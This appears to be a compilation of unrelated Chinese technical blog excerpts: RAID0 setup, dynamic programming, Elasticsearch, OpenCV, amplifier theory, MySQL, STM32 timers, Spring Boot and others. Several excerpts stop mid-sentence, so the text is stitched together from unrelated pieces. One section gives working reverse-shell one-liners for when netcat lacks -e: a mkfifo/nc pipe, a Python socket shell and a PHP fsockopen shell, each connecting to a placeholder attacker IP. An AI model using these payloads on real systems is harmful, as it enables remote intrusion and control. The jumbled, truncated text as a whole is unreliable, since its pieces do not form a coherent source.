存储:双磁盘RAID0磁盘阵列搭建

磁盘介绍 固态磁盘分为SATA口和PCIE口,SATA单盘实测最高550MB/s, PCIE 4.0单盘写入实测最高2.2GB/s。以上均为缓内速度。 SATA口和PCIE口速度对比 准备工作 准备同型号的两个固态磁盘(不同型号的磁盘组raid会以较低的速度和空间的raid为主) 方式一:BIOS设置 旧版BIOS界面 1. 设置VMD Controller为 Enabled Chipset → System Agent (SA) Configuration → Enable VMD controller → Enabled → Save Changes and Reset.(设置完毕后保存并退出,重新再进BIOS) 2. 创建RAID Volume (RAID磁盘卷) 再次进入BIOS后按照下列路径操作去创建RAID卷 Advanced → Intel® Rapid Storage Technology 点击回车选择 Create RAID Volume Select Disks下面列出的就是当前电脑上所有的磁盘,注意分辨磁盘都是用来做什么的,一般我们系统盘都是一个独立的磁盘,不用来做RAID。另外有两张独立的SSD(固态)去组RAID。 Name可以给新加的RAID盘命名,一般默认就好。RAID Level是设置磁盘阵列的组合方式,两个磁盘的话合一组RAID0或者RAID1。选择需要的即可,没有选择的话先勾选下面的磁盘,勾选完毕后再回来选择组合方式。 未勾选的磁盘为[ ]样子。勾选中要组阵列的磁盘样子为[X]。下图中两个SATA磁盘就是被选中组合为RAID1。 最后点击Create Volume即可。 创建完完毕后保存并退出。 新版BIOS图形界面设置BIOS 联想的部分电脑开机不断点击 F1 后会进入下面的图形界面。 该图形界面设置BIOS首先点击 设备-》Intel®快速存储技术。 进入后如果有磁盘的话可以选择Create RAID Volume去创建一个新的RAID卷。创建时需要指定想要那些磁盘创建RAID。指定完毕后点击保存并退出即可。下图为已经创建过的RAID0磁盘阵列卷。 点开已经创建好的阵列磁盘可以看到详细信息,阵列大小为3.6TB,为两个1.8TB的三星990Pro组合而成。点击Reset to non-RAID可取消磁盘阵列。 方式二:WIndows系统磁盘管理工具设置 右键此电脑-》管理-》存储-》磁盘管理或者使用快捷键Win+X-》磁盘管理 进入磁盘管理工具界面。

【八】【C语言\动态规划】1567. 乘积为正数的最长子数组长度、413. 等差数列划分、978. 最长湍流子数组,三道题目深度解析

动态规划 动态规划就像是解决问题的一种策略,它可以帮助我们更高效地找到问题的解决方案。这个策略的核心思想就是将问题分解为一系列的小问题,并将每个小问题的解保存起来。这样,当我们需要解决原始问题的时候,我们就可以直接利用已经计算好的小问题的解,而不需要重复计算。 动态规划与数学归纳法思想上十分相似。 数学归纳法: 基础步骤(base case):首先证明命题在最小的基础情况下成立。通常这是一个较简单的情况,可以直接验证命题是否成立。 归纳步骤(inductive step):假设命题在某个情况下成立,然后证明在下一个情况下也成立。这个证明可以通过推理推断出结论或使用一些已知的规律来得到。 通过反复迭代归纳步骤,我们可以推导出命题在所有情况下成立的结论。 动态规划: 状态表示: 状态转移方程: 初始化: 填表顺序: 返回值: 数学归纳法的基础步骤相当于动态规划中初始化步骤。 数学归纳法的归纳步骤相当于动态规划中推导状态转移方程。 动态规划的思想和数学归纳法思想类似。 在动态规划中,首先得到状态在最小的基础情况下的值,然后通过状态转移方程,得到下一个状态的值,反复迭代,最终得到我们期望的状态下的值。 接下来我们通过三道例题,深入理解动态规划思想,以及实现动态规划的具体步骤。 1567. 乘积为正数的最长子数组长度 题目解析 状态表示 状态表示一般通过经验+题目得到。 经验一般指以某个位置为结尾或者以某个位置为开始。 我们很容易可以定义这样一个dp状态表示,dp[i]表示以下标i为结尾的所有子数组中,乘积为正数的最长子数组长度。 我们可以尝试推导一下该状态表示的状态转移方程。 dp[i]表示以下标i为结尾的所有子数组中,乘积为正数的最长子数组长度。 我们关注所有以下标i为结尾的子数组,可以分为两种情况,第一种情况是子数组只有下标i一个元素,第二种情况是子数组不止下标i一个元素。 第一种情况,如果nums[i]>0,dp[i]=1,否则dp[i]=0。 第二种情况,我们可以将i下标元素单独分开,看成两部分。 如果nums[i]>0,dp[i]=dp[i-1]+1。 如果nums[i]=0,dp[i]=0。 如果nums[i]<0,dp[i]=(在第一部分所有子数组中,乘积为负数的最长子数组长度)+1。 我们发现还需要一个状态才能填写dp状态。所以我们应该添加一个状态,表示以下标i为结尾的所有子数组中,乘积为负数的最长子数组长度。 因此我们可以重新定义状态表示, f[i]表示以下标i为结尾的所有子数组中,乘积为正数的最长子数组长度。 g[i]表示以下标i为结尾的所有子数组中,乘积为负数的最长子数组长度。 状态转移方程 根据上面的分析,可以分一下这些情况 如果只考虑i一个元素, nums[i]>0时,f[i]=1,g[i]=0 nums[i]<0时,f[i]=0,g[i]=1 nums[i]=0时,f[i]=0,g[i]=0 如果不止考虑i一个元素, nums[i]>0时,考虑两种情况 第一种情况,f[i-1]=0,此时f[i]=0,因为我们考虑不止一个元素,所以最少是两个元素,子数组乘积一定是零,所以长度为0。 g[i-1]=0,此时g[i]=0,同理。 第二种情况,f[i-1]!=0,此时f[i]=f[i-1]+1,g[i]=g[i-1]+1。第一部分乘积为正数的最长子数组,后面添加nums[i]这个元素,乘积是正数乘以正数,是正数,所以f[i]=f[i-1]+1。 第一部分乘积为负数的最长子数组,后面添加nums[i]这个元素,乘积是负数乘以正数,是负数,所以g[i]=g[i-1]+1。 nums[i]<0时,同样考虑两种情况 第一种情况,f[i-1]=0,此时f[i]=0,因为我们考虑不止一个元素,所以最少是两个元素,子数组乘积一定是零,所以长度为0。 g[i-1]=0,此时g[i]=0,同理。 第二种情况,f[i-1]!=0,此时f[i]=g[i-1]+1,g[i]=f[i-1]+1。第一部分乘积为负数的最长子数组,后面添加nums[i]这个元素,乘积是负数乘以负数,是正数,所以f[i]=g[i-1]+1。 第一部分乘积为正数的最长子数组,后面添加nums[i]这个元素,乘积是正数乘以负数,是负数,所以g[i]=f[i-1]+1。 nums[i]=0时,f[i]=0,g[i]=0 我们可以整理一下上述情况,看看哪些情况是可以合并在一起的。 f[i]=max(如果只考虑i一个元素,如果不止考虑i一个元素) g[i]=max(如果只考虑i一个元素,如果不止考虑i一个元素) 最终我们可以合并成这样, if(nums[i]==0) f[i]=g[i]=0; else if(nums[i]>0){ f[i]=f[i-1]+1; g[i]=g[i-1]==0?0:g[i-1]+1; }else{ f[i]=g[i-1]==0?0:g[i-1]+1; g[i]=f[i-1]+1; } 上述即状态转移方程。

nc不支持-e时的反弹

如果你想要使用nc反弹shell,但是不能使用-e选项,你可以尝试以下的替代方法: 使用mkfifo或mknod命令创建一个命名管道,然后使用cat命令读取管道中的内容,并将其传递给/bin/sh执行,再将输出重定向到nc连接。 例如: mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc attackerip listenport > /tmp/f 使用python或php脚本来执行系统命令,并将标准输入、输出、错误重定向到socket连接。例如: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",listenport));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' php -r '$sock=fsockopen("attackerip",listenport);exec("/bin/sh -i <&3 >&3 2>&3");'

Elasticsearch: Join 数据类型

在 Elasticsearch 中,Join 可以让我们创建 parent/child 关系。Elasticsearch 不是一个 RDMS。通常 join 数据类型尽量不要使用,除非不得已。那么 Elasticsearch 为什么需要 Join 数据类型呢? 在 Elasticsearch 中,更新一个 object 需要 root object 一个完整的 reindex: 即使是一个 field 的一个字符的改变即便是 nested object 也需要完整的 reindex 才可以实现搜索 通常情况下,这是完全 OK 的,但是在有些场合下,如果我们有频繁的更新操作,这样可能对性能带来很大的影响。 如果你的数据需要频繁的更新,并带来性能上的影响,这个时候,join 数据类型可能是你的一个解决方案。 join 数据类型可以完全地把两个 object 分开,但是还是保持这两者之前的关系。 parent 及 child 是完全分开的两个文档parent 可以单独更新而不需要重新 reindex childchildren 可以任意被添加/串改/删除而不影响 parent 及其它的 children 与 nested 类型类似,父子关系也允许你将不同的实体关联在一起,但它们在实现和行为上有所不同。 与 nested 文档不同,它们不在同一文档中,而 parent/child 文档是完全独立的文档。 它们遵循一对多关系原则,允许你将一种类型定义为 parent 类型,将一种或多种类型定义为 child 类型 即便 join 数据类型给我们带来了方便,但是,它也在搜索时给我带来额外的内存及计算的开销。 注意:目前 Kibana 对 nested 及 join 数据类型有比较少的支持。如果你想使用 Kibana 来在 dashboard 里展示数据,这个方面的你需要考虑。在未来,这种情况可能会发生改变。

Qt+Opencv:模板匹配

一、模板匹配应用场景闲聊 在很多机器视觉的应用场景都有用到模板匹配的功能,常常用来判断是否有目标检测对象,以及检测对象在图像中的位置。譬如在AOI检测软件中,通过拍摄Mark点的图像,进行mark模板的匹配,从而进行晶圆(以下统称 wafer)的角度校正和中心位置计算,通过一系列的坐标转换后,用于晶圆的检测和量测。 本例只是一个简单的模板匹配示例,仅供学习和知识普及用。 譬如,我们有下面一个模板, 我需要在实际拍摄的图像中获取对象的坐标信息。如下图: 二、模板匹配代码示例 #ifndef TEMPLATEMATCHDEMO_H #define TEMPLATEMATCHDEMO_H class TemplateMatchDemo { public: TemplateMatchDemo(); static int run(); }; #endif // TEMPLATEMATCHDEMO_H #include "templatematchdemo.h" #include "opencv2/highgui/highgui.hpp" #include "opencv2/imgproc/imgproc.hpp" #include <iostream> #include <QDebug> using namespace std; using namespace cv; TemplateMatchDemo::TemplateMatchDemo() { } cv::Mat img,templ,result; const char* window_title_1 = "Source Image"; const char* window_title_2 = "Result window"; int match_method; int max_Trackbar = 5; void MatchCallback(int,void*) { Mat img_display; img.copyTo( img_display ); //将 img的内容拷贝到 img_display /// 创建输出结果的矩阵 int result_cols = img.

(04730)半导体器件之基本放大器工作原理(三)

本文主要阐述多级与差动放大器 为使输入的微弱信号进行放大后能获得足够的输出功率去推动负载运行,往往要采用所谓的多级放大电路,信号逐级通过放大,直至得到输出信号。这就必须考虑放大电路级与级之间的信号传递方法,或者称为耦合方式。常用的级间耦合有电容耦合、变压器耦合和直接耦合三种方式,分别如图2.3.1、图2.3.2及图2.3.3所示。 电容耦合方式多用于交流信号放大电路;变压器耦合方式一般用于功率放大电路;本节重点讨论直接耦合多级放大电路,这种方式经常用于交、直流放大电路或中、大规模集成电路中。 直接耦合多级放大电路的特点及存在的问题 直接耦合多级放大电路的特点 在前面讨论的共射放大电路中,输人、输出端都有一个隔断直流的耦合电容,对输入频率较低的信号会使传输效率变差,对缓慢变化的信号(也称直流信号)则完全隔断不能通过。在实际使用中,往往需要对一些缓慢变化的信号(如温度变化、压力变化的电信号等)进行放大,直接耦合多级放大电路就是针对这种变化缓慢的电信号进行放大的电路,前级输出信号通过导线直接接到后级的输人端,既可放大直流信号,也可放大交流信号。 直接耦合方式存在的问题 由于各级放大电路级间直接用导线连接,信号的传递效率很高,但会出现两个特别明显的问题。 (1)各级静态工作点相互影响 在图2.3.4中,第一级电路的集电极输出端与第二级电路的基极直接相连,RC1既为T1管的集电极负载,又是T2管的基极偏置电阻,静态工作点的调整会相互影响,严重时造成电路无法正常工作,又因为VC1=VB2=UBE2≈0.7V,可见T1管的UCE1=VC1≈0.7V,造成T1管的静态工作点接近饱和区,动态范围变窄,造成输出信号的严重失真。 为解决这一问题,可采用图2.3.5所示的电路,在T2管的发射极中串接发射极电阻RE2使后级的发射极电位提高,从而使T1管的集电极电位也得到提高,使T1管有合适的静态工作点,但RE2的接人又使第二 级的电压放大倍数减少。 图2.3.6所示电路,用稳压管Dz代替RE2也可达到提高后级发射极电位的目的,由于稳压管Dz的动态电阻很小,对T2级的电压放大倍数影响不大,但放大电路的级数较多时,可能会带来其他问题。 (2)零点漂移现象 在静态工作,即没有输人信号作用时,放大器输出端出现一个变化不定偏离原来电位的输出信号,这种现象称为零点漂移,简称零漂。产生零漂的原因主要有:电源电压波动、晶体三极管参数的变化、温度变化等。其中主要是温度变化引起零漂最为严重,电容耦合电路中由于输出端电容的隔直功能,零点漂移在输出端不会产生影响。而在直接耦合放大电路中,零漂信号经逐级放大后,将干扰正常信号的运行,尤其是多级直接耦合放大电路的最前级对放大器的影响最为严重,使放大电路无法稳定工作。 对于要求较低的放大器,可采用温度补偿方法抑制零漂;而在电路结构上,采用差动放 大电路是目前应用最为广泛的能有效抑制零漂的方法。 直接耦合多级放大电路的动态分析 电压放大倍数 多级放大电路接收的信号是逐级串联连续放大的,总的电压放大倍数是各级放大倍数的乘积,写成: 计算各级放大电路的电压放大倍数时,需注意的是后级电路视为相邻前级电路所带的负载;前级电路视为相邻后级电路的信号源。 2.输入电阻 把多级放大电路等效成一个放大器,从该放大器的输入端看进去的等效电阻即为输入电阻Ri,Ri的大小只取决于第一级放大电路的结构和电路参数。 3.输出电阻 把多级放大电路等效成一个放大器,从该放大器的输出端看进去的等效电阻即为输出电阻Ro,Ro的大小只取决于最末级放大电路的结构和电路参数。 差动放大器的基本结构和工作原理 基本结构 图2.3.9所示电路中晶体三极管T1、T2特性相同,电路结构对称,所选电阻参数大小一样,组成基本差动放大器。输入信号由两个三极管的基极对地引人,输出信号由两个三极管的集电极之间取出。 工作原理 零点漂移的抑制 静态时ui1=ui2=0,并且 当温度变化时,列入温度升高时,两个三极管的集电极电流IC1、IC2都会产生相同的变化量 可见,电路在静态或者温度变化时,由于差动放大电路结构对称的特点,输出电压等于零,电路有很好的抑制零漂的作用。 信号输入 ①共模信号输入 将大小相等、极性相同的两个输入信号称为共模信号,如图2.3.10所示。共模信号输入相当于零漂的影响。 当uic变化时,两个三极管的参数均同方向变化,输出电压仍为零,共模信号电压放大倍数。 上式说明基本差动放大电路对共模信号无放大作用,即零漂被抑制。 ②差模信号输入 将大小相等、极性相反的两个输人信号称为差模信号,如图2.3.11所示。 输入端采用分压电路,将输入信号uid分成一对差模信号,分别送到两个三极管的输人端,差动电路能对差模信号进行有效的放大。 差模信号电压放大倍数 差动放大器的其他几种输入与输出方式 由图2.3.9可知差动放大器有两个输人端,两个输出端。因此差动电路可根据不同需要进行双端输人或单端输入(从一端对地输入信号);输出信号也可以双端输出或单端输出(从任一晶体管集电极对地输出),使用十分方便,常见差动放大器有四种接法。 1.双端输入一双端输出 图2.3.9所示电路,信号分别从三极管的基极对地输入,输出信号从两个三极管的集电极之间取出,其差模电压放大倍数Aud相当于一个三极管组成电路的放大倍数,抑制零漂的能力很好。 2.双端输入一单端输出 如图2.3.12所示,信号分别从三极管的基极对地输入,输出分别从三极管的集电极对地之间取出差模信号。差模电压放大倍数Aud为双端输出时的一半。T1管的输出电压uo1与输入电压相位相反,而T2管的 输出电压uo2与输人电压相位相同,这种工作方式输出端会出现零漂现象,必须采取负反馈(见2.4节) 措施(在两个三极管的发射极加个大电阻和反向的VCC直流源),保证差动电路的正常运行。 感觉书上的这个图画的难以让人理解,我的理解是这里的单端输出,并不是uo1与uo2同时并存的。 可以尝试着自己推一下 3.单端输入一双端输出 如图2.3.13所示,信号从一个三极管的基极对地引入输入信号,由于发射极电阻RE的射极耦合作用,会使两个三极管得到一对差模信号,工作状态与双入一双出工作方式完全相同。 4.单端输入一单端输出 如图2.3.14所示,信号从一个三极管的基极对地引人输入信号,另一个三极管的基极接地,如输出信号从T1管的集电极对地取出,则输出信号与输入信号反相位变化;如从T2管的集电极对地取出信号时,则输出信号与输入信号会同相位变化。 综上所述,电路的差模放大倍数只取决于信号输出方式,而与输入方式无关。双端输出时,差模放大倍数与单管放大倍数相同;单端输出时,差模放大倍数为单管放大倍数的一半。双端输出抑制零漂和抗共模干扰的能力比单端输出要好。

MySQL5.7 使用系统变量

官网地址:MySQL :: MySQL 5.7 Reference Manual :: 5.1.8 Using System Variables 欢迎关注留言,我是收集整理小能手,工具翻译,仅供参考,笔芯笔芯. MySQL 5.7 参考手册 / ... / 使用系统变量 5.1.8 使用系统变量 5.1.8.1 系统变量权限 5.1.8.2 动态系统变量 5.1.8.3 结构化系统变量 MySQL 服务器维护许多配置其操作的系统变量。第 5.1.7 节“服务器系统变量”描述了这些变量的含义。每个系统变量都有一个默认值。可以在服务器启动时使用命令行或选项文件中的选项设置系统变量。其中大多数可以在服务器运行时通过语句动态更改 SET ,这使您无需停止并重新启动服务器即可修改服务器的操作。您还可以在表达式中使用系统变量值。 许多系统变量是内置的。由服务器插件实现的系统变量在安装插件时公开,并且其名称以插件名称开头。例如,该 audit_log插件实现了一个名为 的系统变量audit_log_policy。 系统变量存在两个范围。全局变量影响服务器的整体运行。会话变量影响各个客户端连接的操作。给定的系统变量可以同时具有全局值和会话值。全局变量和会话系统变量的关系如下: 当服务器启动时,它将每个全局变量初始化为其默认值。这些默认值可以通过命令行或选项文件中指定的选项进行更改。(请参见 第 4.2.2 节“指定程序选项”。) 服务器还为每个连接的客户端维护一组会话变量。客户端的会话变量在连接时使用相应全局变量的当前值进行初始化。例如,客户端的SQL模式由会话 sql_mode值控制,该会话值在客户端连接到全局值的值时初始化sql_mode。 对于某些系统变量,会话值不是从相应的全局值初始化的;如果是这样,则会在变量描述中指出。 系统变量值可以在服务器启动时使用命令行或选项文件中的选项进行全局设置。启动时,系统变量的语法与命令选项的语法相同,因此在变量名称中,破折号和下划线可以互换使用。例如 --general_log=ON和 --general-log=ON是等价的。 当您使用启动选项设置采用数值的变量时,可以使用后缀 K、M、 或 G(大写或小写)来指定该值,以指示乘数 1024、1024 2或 1024 3;即分别以千字节、兆字节或千兆字节为单位。因此,以下命令启动服务器,InnoDB日志文件大小为 16 MB,最大数据包大小为 1 GB: mysqld --innodb-log-file-size=16M --max-allowed-packet=1G 在选项文件中,这些变量的设置如下: [mysqld] innodb_log_file_size=16M max_allowed_packet=1G 后缀字母的大小写无关紧要; 16M和16m是等价的,就像1G和 一样1g。

普中STM32-PZ6806L开发板(HAL库函数实现-TIM2实现us延时)

简介 使用TIM2实现1us延时 其他知识 公式 时间(s)=1/时钟频率(Hz)由导出 1us = 1/1M(Hz) 预分配设置 系统时钟是72MHz, 要1us的延时, 预分配得设置为72-1 计数器重载设置 设置为最大值65535,这样延时的时间可以设置的最大值也将是65535us, 一次count代表一个计数周期也就是1us 接口 HAL_StatusTypeDef HAL_TIM_Base_Start(TIM_HandleTypeDef *htim); // 是一个用于启动定时器的函数 HAL_StatusTypeDef HAL_TIM_Base_Stop(TIM_HandleTypeDef *htim); // 关闭定时器 __HAL_TIM_SET_COUNTER(__HANDLE__, __COUNTER__) // 设置Counter值 __HAL_TIM_GET_COUNTER(__HANDLE__) // 获取Counter值 实现步骤 创建项目 参考 普中STM32-PZ6806L开发板(STM32CubeMX创建项目并点亮LED灯) TIM2 初始化 添加用户代码 time.c /main.c增加函数 /* * us: 延时参数 0 ~65535, 与couter的重置值相符 */ void delay_us(uint16_t us) { __HAL_TIM_SET_COUNTER(&htim2, 0); // counter重置为0 while (__HAL_TIM_GET_COUNTER(&htim2) < us); // couter值大于等于延时时间, 退出循环 } int main() { .

【每日试题】java面试之springboot框架

Spring Boot是基于Spring框架的一种快速开发脚手架。它简化了Spring应用的初始搭建和配置过程,使开发人员能够更加专注于业务逻辑的实现。 Spring Boot的特点有以下几点: 简化配置:Spring Boot的核心设计理念是约定大于配置。它通过自动配置和默认值来减少开发者需要编写的配置代码,大大简化了应用的配置过程。 内嵌服务器:Spring Boot支持将Web服务器内嵌到应用中,例如Tomcat、Jetty等。这样一来,开发人员可以轻松启动和调试应用,无需部署到独立的服务器上。 自动装配:Spring Boot通过自动装配机制,根据项目的依赖关系自动配置Bean。这样一来,开发者不需要手动配置大量的Bean,能够更加专注于业务逻辑的实现。 独立运行:Spring Boot应用可以作为独立的、可执行的JAR包运行,无需依赖外部环境。这样一来,可以方便地在不同的环境上部署和运行应用。 提供丰富的起步依赖:Spring Boot提供了大量的起步依赖,覆盖了各种应用场景,包括Web开发、数据访问、消息队列、安全等。这些起步依赖能够大大简化开发过程,提高开发效率。 集成测试支持:Spring Boot提供了集成测试的支持,能够方便地编写和运行集成测试用例。这样一来,开发人员可以更早地发现和解决问题,提高软件的质量。 使用Spring Boot进行开发,可以带来以下几个方面的好处: 快速启动和开发:Spring Boot提供了一套快速搭建项目的脚手架,能够极大地减少项目的初始搭建和配置时间,让开发者能够更快地进入项目的实现阶段。 简化配置和部署:Spring Boot通过自动配置和内嵌服务器等特性,减少了应用的配置和部署过程。开发者可以专注于业务逻辑的实现,而不需要关注底层的细节。 提高开发效率:Spring Boot提供了丰富的起步依赖和自动装配机制,大大简化了项目的开发过程。开发者可以方便地使用各种功能模块,提高开发效率。 支持微服务架构:Spring Boot是构建微服务架构的理想选择。它提供了各种开发工具和框架,能够方便地实现微服务的开发、部署和管理。 总之,Spring Boot是一个简化Spring应用开发的框架,它通过自动装配、内嵌服务器和丰富的起步依赖等特性,提高了开发效率,简化了部署过程,支持微服务架构。使用Spring Boot进行开发,能够更快地搭建项目,更专注地实现业务逻辑,提高开发效率。Spring Boot 是一个基于 Spring 框架的开源框架,用于快速开发、构建和部署 Java 应用程序。Spring Boot 简化了 Spring 应用程序的配置和部署过程,使开发者能够更加专注于业务逻辑的开发,而无需关注繁琐的配置工作。 Spring Boot 的主要特点包括: 简化配置:Spring Boot 使用了自动配置的特性,根据应用程序的依赖和需要,自动配置应用程序的环境,无需手动配置大量的 XML 或注解。 内嵌容器:Spring Boot 提供了内嵌的 Tomcat、Jetty 或 Undertow 容器,不需要额外的容器即可运行应用程序,简化了部署和环境搭建的过程。 自动化依赖管理:Spring Boot 提供了一个起步依赖的概念,通过引入相关的起步依赖,可以自动下载和管理应用程序所需的依赖库。 强大的开发工具支持:Spring Boot 集成了许多开发工具,如快速构建工具 Maven 和 Gradle,自动重新加载应用程序,以及可视化的应用程序监控等。 微服务支持:Spring Boot 为构建微服务架构提供了良好的支持,通过使用 Spring Cloud 框架,可以快速构建和部署分布式系统。

easyexcel 导出

在使用EasyExcel库进行数据写入时,通常我们会使用实体类来存储数据。但是当遇到动态查询,无法确定属性数量和名称时,就需要使用Map来接收数据。然而,直接将Map中的数据写入Excel表格并不是一件简单的事情。接下来,我将介绍如何使用EasyExcel库将Map数据写入Excel表格。 ———————————————— 版权声明:本文为CSDN博主「_多说无益」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/qwe1047978302/article/details/134571522

elasticsearch系列九:异地容灾-CCR跨集群复制

概述 起初只在部分业务中采用es存储数据,在主中心搭建了个集群,随着es在我们系统中的地位越来越重要,数据也越来越多,针对它的安全性问题也越发重要,那如何对es做异地容灾呢? 今天咱们就一起看下官方提供的解决方案cross-cluster replication(简称ccr)。 环境准备 物理机:96核 64G 2THDD 国产UOS系统的服务器一台 ip 192.168.229.48 通过docker快速启动2个es 节点、2个kibana节点,es2个节点为2套独立集群。 名称ip版本es 172.17.0.2 172.17.0.4 7.15.0kibana7.15.0jdkopenjdk version 16.0.2 进程如下图: 规划:172.17.0.2 为master 172.17.0.4 为follower 设置CCR 由于CCR是收费版本,如果购买公有云的服务就自带这个功能,此处我们通过试用30天来体验一下。 我们先在0.4所在的kibana上打开ccr设置主节点的信息如下图: 接口级设置: PUT _cluster/settings{ "persistent": { "cluster": { "remote": { "ccr_test": { "skip_unavailable": false, "mode": "sniff", "proxy_address": null, "proxy_socket_connections": null, "server_name": null, "seeds": [ "192.168.229.48:9300" ], "node_connections": 3 } } } }} 该功能采用TCP协议,所以我们设置默认端口9300,设置完以后如下图: 并且该功能是基于索引级别的,提供2种方式:创建指定索引同步、自动同步按照索引规则,接下来我们看下2种情况分别如何设置。 设置特定的索引同步 打开follower的kibana,找到ccr设置项如下图: 可以创建一个同步任务,此处只能单个索引设置同步。 接口级设置: PUT /ccr_test/_ccr/follow{ "remote_cluster": "ccr_test", "leader_index": "

elementui 表单校验validate不起效果

原因: 自定义的validator验证方式需要调用callback。 验证失败callabck(new Errno(‘’)). 验证成功 callback() var checkNumber3 = (rule, value, callback) => { if (value && !Number.isInteger(value)) { callback(new Error("请输入数字值")); } else { callback(); } }; 其他原因: el-form 应该使用:model="form" 而不是v-model="form"checkbox radio无法校验 注意使用的tigger是change而不是blur 参考

elasticsearch列一:索引模板的使用

概述 近期一直在负责es这块,就想着和大家分享一些使用经验,我们从存储、查询、优化、备份、运维等几个方面来做分享。今天咱们先看下如何更加合理的存储数据。 初见索引模板 记得刚接触es还是18年那会,项目上线后因一些原因导致日志这部分的开发未完成,导致日志这块只能通过linux命令查询,及其不方便。 于是老大让我自己搞定这块,当时是由兄弟团队负责开发这块,所以我们的日志都只是写到了日志文件上,项目刚上线各种问题还经常需要通过日志查询,瞬间涌上心头,于是先搞个脚本把各个服务日志定时搜集到一台服务器上,避免丢失。 接下来一路趟坑便就开始了,为了快速搞起来,优先百度各种方案,提到最多的就是elk这个词,于是按照网上的方案快速搭建起来了。 但是那会只是换了方式查询,通过kibana各种维度查询,语法边百度边查询,随着时间推移日志量越来越大,慢慢的查询性能大大降低,一但出了事自己也不知道怎么运维es。 于是痛下决心开始学习官网文档,全方位了解es。首先发现存储就不对,各个字段几乎都是text格式,大大浪费了磁盘空间。于是首个模板就这么出来了。我们展示其中一段: "properties":{ "id":{ "type":"keyword" }, "relativeJobId":{ "type":"keyword" }, "reqDate":{ "type": "date", "format": "yyyy-MM-dd HH:mm:ss" }, "operDate":{ "type":"date", "format": "yyyy-MM-dd HH:mm:ss" }, "title":{ "type":"text", "norms": false } } 建立好模板后再晚上业务低峰期对索引逐个进行reindex操作后发现查询能力大大提升,磁盘空间也下降很多。 索引升级 但是运行一段时间后问题出来了,我们需要扩展日志字段,并且是精确匹配,那该怎么办呢?我们可以通过动态模板的方式实现,我们看下索引模板变成了这样: "properties":{ "id":{ "type":"keyword" }, "relativeJobId":{ "type":"keyword" }, "reqDate":{ "type": "date", "format": "yyyy-MM-dd HH:mm:ss" }, "operDate":{ "type":"date", "format": "yyyy-MM-dd HH:mm:ss" }, "title":{ "type":"text", "norms": false } }, "dynamic_templates": [ { "longs": { "match_mapping_type": "

探索3D软件的奥秘:Maxon Cinema 4D与Autodesk Maya的比较

在3D软件的广阔天地中,Maxon Cinema 4D和Autodesk Maya无疑是两颗璀璨的明星。它们各自拥有独特的功能和特点,使它们在影视、广告、游戏等领域中广受欢迎。在这篇文章中,我们将深入探讨这两款软件的差异,以帮助您更好地了解它们。 易用性: Cinema 4D以其直观的界面和简洁的操作赢得了广大用户的喜爱。它的工作流程简洁高效,使初学者可以快速上手。对于那些想要快速实现创意的人来说,Cinema 4D提供了丰富的预设对象和场景,以及强大的动态图形工具,让您无需过多操作即可实现创意。 相比之下,Maya的界面和操作较为复杂,需要一定的技术知识和编码背景。然而,对于那些追求精细控制和高级功能的用户来说,Maya提供了丰富的工具集,可以满足他们的需求。在角色设计、动画制作和特效方面,Maya的表现尤为出色。 渲染引擎: Cinema 4D内置了标准渲染器和Redshift渲染器。Redshift以其强大的GPU渲染能力而闻名,为用户提供了高效且高质量的渲染体验。而Octane等其他外部渲染器在功能和速度上也有不俗表现。 Maya则自带Arnold渲染器,它以其强大的渲染能力和可靠的稳定性而受到赞誉。此外,Maya还支持Redshift、V-Ray等其他外部渲染器,为用户提供了更多的选择。 运动图形与建模: Cinema 4D在运动图形方面表现出色,为用户提供了丰富的动画和视觉效果工具。它适合那些追求创意和动态效果的用户,尤其在广告和品牌宣传方面备受青睐。 Maya在多边形建模方面具有显著优势,其建模工具强大且高效。此外,Maya在角色绑定和动画制作方面也表现出色,使其成为电影、电视剧和游戏开发中的首选工具。 插件与生态系统: Cinema 4D的插件生态系统相对较小,但仍然提供了丰富的扩展功能。尽管如此,它的社区活跃,资源丰富,为用户提供了良好的学习与交流平台。 Maya则拥有庞大而丰富的插件生态系统,为用户提供了广泛的扩展功能。从第三方插件到教程资源,Maya的生态系统为使用者提供了无尽的可能性。 市场需求与行业认可度: Maya在行业内享有广泛的认可和高度的市场份额。作为一款功能强大的3D软件,它在动画、电影、电视剧和游戏开发等领域中具有显著优势。因此,对于那些希望进入这些行业的人来说,熟悉Maya可能会更具优势。 Cinema 4D则在广告、广播和创意领域中表现出色。它的创意和动态图形功能使其在这些领域中广受欢迎。对于那些追求创意表达的人来说,Cinema 4D可能是一个更好的选择。创造家(chuangzaojia.com)是国内最大的AR资源平台之一,提供丰富的3D模型库和相关服务。该平台已经发布了2250个模型,并提供免费下载。用户可以在创造家(chuangzaojia.com)上搜索并浏览各种类型的模型,是一个汇集了大量3D模型的AR内容聚合和分发平台。无论你是专业的设计师还是对AR技术感兴趣的用户,创造家都会是你获取高质量3D模型的理想选择。 总结: 无论是Maxon Cinema 4D还是Autodesk Maya,它们都是功能强大的3D软件,各自拥有独特的特点和优势。Cinema 4D以其直观的界面和创意工具赢得了用户的喜爱,而Maya则以其强大的功能和广泛的应用领域备受推崇。根据您的需求和兴趣选择合适的软件,并不断提升您的技能,是迈向成功的关键。

什么是意向锁?它和意向书有什么区别?

本文内容已收录至我的面试网站:www.javacn.site 最近受废话文学的影响,所以有了今天的这个标题,希望大家能喜欢。大家不喜欢也没关系,反正我喜欢。 鲁迅先生曾经说过“我家门前有两棵树,一棵是枣树,另一棵还是枣树。”,由此可见,这老爷子算是把废话文学给玩明白了。 希望大家也能,听君一席话,如听一席话。 聊正题 聊完闲篇,咱们说回正题:什么是意向锁?为什么需要意向锁? PS:这里没意向书什么事啊,标题中有,纯粹是为了好玩。它们不能说没什么关系,那是一点关系都没有啊。 定义 意向锁(Intention Locks)是 MySQL InnoDB 引擎中的一种锁机制(表级锁),用于协调事务间的加锁操作,以避免冲突和死锁的发生。 为什么要有意向锁? 例如,事务 A 加锁了 Users 表中的一行数据(行锁),而事务 B 要对整个 Users 表进行加锁(表锁),那么这个时候,如果没有意向锁,那事务 B 就会加锁成功了。而事务 B 如果加锁成功的话,那么它是可以对表中的任意数据行进行操作的,包括事务 A 加锁的那行数据,所以,这个时候就发生了锁冲突。 为了避免这个问题,所以 MySQL 引入了意向锁,在事务 A 添加行锁的时候,先添加意向锁,而事务 B 